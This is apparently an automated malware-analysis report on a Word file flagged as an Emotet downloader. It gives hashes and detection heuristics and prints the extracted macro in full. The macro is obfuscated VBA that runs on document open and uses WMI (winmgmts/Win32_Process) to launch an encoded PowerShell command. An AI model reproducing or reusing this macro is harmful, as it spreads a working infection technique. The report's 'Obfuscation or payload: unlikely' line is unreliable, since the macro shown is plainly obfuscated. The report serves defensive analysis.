Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 55d1ed69519aa7f9…

MALICIOUS

Office (OOXML)

51.7 KB Created: 2020-01-30 13:48:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-02-19
MD5: 2b4f99ab80d6cb404dd64ff35ecf788f SHA-1: 52575f9277f48d3b18177a7a11c03469003f9fa6 SHA-256: 55d1ed69519aa7f98b93ed4c1f0721964fae7ef3f7bfa1f787fd47c29eace6e7
230 Risk Score

Heuristics 6

  • ClamAV: Doc.Downloader.Emotet-7571984-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-7571984-0
  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
    Matched line in script
    Set Qkrnxozthid = GetObject(Zayillji)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_open()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordml/cexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 5618 bytes
SHA-256: 3b4dcf5df75be4ffd457ee9c49f9854b64d336a1402703b0b8f9221f440d188a
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Jgamacrhoktc"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_open()
   KJS = CVar(478)
INSD = 476
OISN = CVar(802)
NJSD = CVar("{Terraria}")
ISN = CVar("{Terraria}")
OPWND = CVar(109)
NJSW = CVar(Onspxmukxqne)
MIWHD = CVar("{Terraria}")
Call Qeddywmxtqsvm
End Sub

Attribute VB_Name = "Yqxnakpf"
Attribute VB_Base = "0{5160D3B0-1CF1-4618-AA3C-165D89D75108}{FEC0E400-7592-47EF-B7A8-0D17ADDFF39A}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Ghtbdsdsjvphd"
Attribute VB_Base = "0{2B62898F-EACE-4114-87C2-BC59C04E80BB}{1990462F-F914-4A53-9A40-EA8751CDC223}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Sub Oobnrzxuw()
Debug.Print "Operaion" + NS + "S"
End Sub

Attribute VB_Name = "Wdgrhsnnntgu"
Function Qeddywmxtqsvm()
   KJS = CVar(925)
INSD = 723
OISN = CVar(433)
NJSD = CVar("{Terraria}")
ISN = CVar("{Terraria}")
OPWND = CVar(651)
NJSW = CVar(Avekbhxjllz)
MIWHD = CVar("{Terraria}")
Edaiccdwzox = "==/e3n//3^w==/e3n//3^==/e3n//3^==/e3n//3^i==/e3n//3^==/e3n//3^nmg==/e3n//3^mt==/e3n//3^==/e3n//3^" + ChrW(Int(wdKeyS)) + "==/e3n//3^:w==/e3n//3^in==/e3n//3^==/e3n//3^3==/e3n//3^2_" + Yqxnakpf.Uwxseqglo + "ro==/e3n//3^ce==/e3n//3^==/e3n//3^s==/e3n//3^s"
   KJS = CVar(109)
INSD = 227
OISN = CVar(475)
NJSD = CVar("{Terraria}")
ISN = CVar("{Terraria}")
OPWND = CVar(113)
NJSW = CVar(Gfidhappq)
MIWHD = CVar("{Terraria}")
Zayillji = Orodkytbvg(Edaiccdwzox)
   KJS = CVar(590)
INSD = 480
OISN = CVar(797)
NJSD = CVar("{Terraria}")
ISN = CVar("{Terraria}")
OPWND = CVar(552)
NJSW = CVar(Gyjjveapvdcj)
MIWHD = CVar("{Terraria}")
Set Qkrnxozthid = GetObject(Zayillji)
   KJS = CVar(961)
INSD = 185
OISN = CVar(128)
NJSD = CVar("{Terraria}")
ISN = CVar("{Terraria}")
OPWND = CVar(211)
NJSW = CVar(Diftysxgb)
MIWHD = CVar("{Terraria}")
Wgphfaere = Yqxnakpf.Jgdgzetqj.Tag
   KJS = CVar(276)
INSD = 948
OISN = CVar(800)
NJSD = CVar("{Terraria}")
ISN = CVar("{Terraria}")
OPWND = CVar(442)
NJSW = CVar(Bnzchsbd)
MIWHD = CVar("{Terraria}")
Ligwmbpp = Zayillji + ChrW(Int(wdKeyS)) + Yqxnakpf.Esmbomrsqdfii.Tag + Wgphfaere
   KJS = CVar(96)
INSD = 122
OISN = CVar(723)
NJSD = CVar("{Terraria}")
ISN = CVar("{Terraria}")
OPWND = CVar(108)
NJSW = CVar(Sxrpmptmnher)
MIWHD = CVar("{Terraria}")
Fveswlmduor = Ligwmbpp + Yqxnakpf.Uwxseqglo
   KJS = CVar(132)
INSD = 937
OISN = CVar(850)
NJSD = CVar("{Terraria}")
ISN = CVar("{Terraria}")
OPWND = CVar(612)
NJSW = CVar(Anauzibtr)
MIWHD = CVar("{Terraria}")
Call Qkrnxozthid. _
Create(Lscjicfix, Wvtbmbei, Yqmdcmltf(Fveswlmduor), Dkshvrrlyc, Fxcavdgse, Ngyelbmgjyaqf)
   KJS = CVar(489)
INSD = 225
OISN = CVar(872)
NJSD = CVar("{Terraria}")
ISN = CVar("{Terraria}")
OPWND = CVar(981)
NJSW = CVar(Ytotexpa)
MIWHD = CVar("{Terraria}")
End Function
Function Yqmdcmltf(Hsvtczsgyfjnh)
   KJS = CVar(305)
INSD = 445
OISN = CVar(875)
NJSD = CVar("{Terraria}")
ISN = CVar("{Terraria}")
OPWND = CVar(260)
NJSW = CVar(Unybwfehlirwa)
MIWHD = CVar("{Terraria}")
Set Yqmdcmltf = GetObject(Hsvtczsgyfjnh)
   KJS = CVar(671)
INSD = 775
OISN = CVar(681)
NJSD = CVar("{Terraria}")
ISN = CVar("{Terraria}")
OPWND = CVar(298)
NJSW = CVar(Peghibsa)
MIWHD = CVar("{Terraria}")
Yqmdcmltf. _
showwindow = Ktjpfwbo + Ylgbcnfgkebwm
   KJS = CVar(128)
INSD = 459
OISN = CVar(419)
NJSD = CVar("{Terraria}")
ISN = CVar("{Terraria}")
OPWND = CVar(487)
NJSW = CVar(Psmitwcejezee)
MIWHD = CVar("{Terraria}")
End Function
Function Orodkytbvg(Pbajfzcfck)
   KJS = CVar(458)
INSD = 755
OISN = CVar(597)
NJSD = CVar("{Terraria}")
ISN = CVar("{Terraria}")
OPWND = CVar(896)
NJSW = CVar(Naputmeztsu)
MIWHD = CVar("{Terraria}")
Orodkytbvg = Join(Split(Pbajfzcfck, "==/e3n//3^"), "")
   KJS = CVar(301)
INSD = 803
OISN = CVar(121)
NJSD = CVar("{Terraria}")
ISN = CVar("{Terraria}")
OPWND = CVar(436)
NJSW = CVar(Cftgcqsb)
MIWHD = CVar("{Terraria}")
End Function
Function Lscjicfix()
   KJS = CVar(604)
INSD = 167
OISN = CVar(873)
NJSD = CVar("{Terraria}")
ISN = CVar("{Terraria}")
OPWND = CVar(640)
NJSW = CVar(Dnfaouymn)
MIWHD = CVar("{Terraria}")
Cnykexksrw = ChrW(Lwqjfhxvtt + wdKeyP + Osdlsjinp)
   KJS = CVar(839)
INSD = 949
OISN = CVar(354)
NJSD = CVar("{Terraria}")
ISN = CVar("{Terraria}")
OPWND = CVar(420)
NJSW = CVar(Naazgkjehkyz)
MIWHD = CVar("{Terraria}")
Oihavnsvzr = Cnykexksrw + Yqxnakpf.Kmpqowwyst.ControlTipText + "-e "
   KJS = CVar(165)
INSD = 262
OISN = CVar(803)
NJSD = CVar("{Terraria}")
ISN = CVar("{Terraria}")
OPWND = CVar(603)
NJSW = CVar(Sgmhsemsjs)
MIWHD = CVar("{Terraria}")
dse = Yqxnakpf.Jeekpycnbl.ControlTipText
   KJS = CVar(756)
INSD = 764
OISN = CVar(778)
NJSD = CVar("{Terraria}")
ISN = CVar("{Terraria}")
OPWND = CVar(793)
NJSW = CVar(Byyjpfssy)
MIWHD = CVar("{Terraria}")
Lscjicfix = Orodkytbvg(Oihavnsvzr + StrReverse(dse))
   KJS = CVar(219)
INSD = 437
OISN = CVar(40)
NJSD = CVar("{Terraria}")
ISN = CVar("{Terraria}")
OPWND = CVar(41)
NJSW = CVar(Nolsejtpxj)
MIWHD = CVar("{Terraria}")
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 43520 bytes
SHA-256: bb2e0960da857b32b4044ab0f53b24274e50d0ebfacccc766e52a479f4229219
Detection
ClamAV: Doc.Downloader.Emotet-7571984-0
Obfuscation or payload: unlikely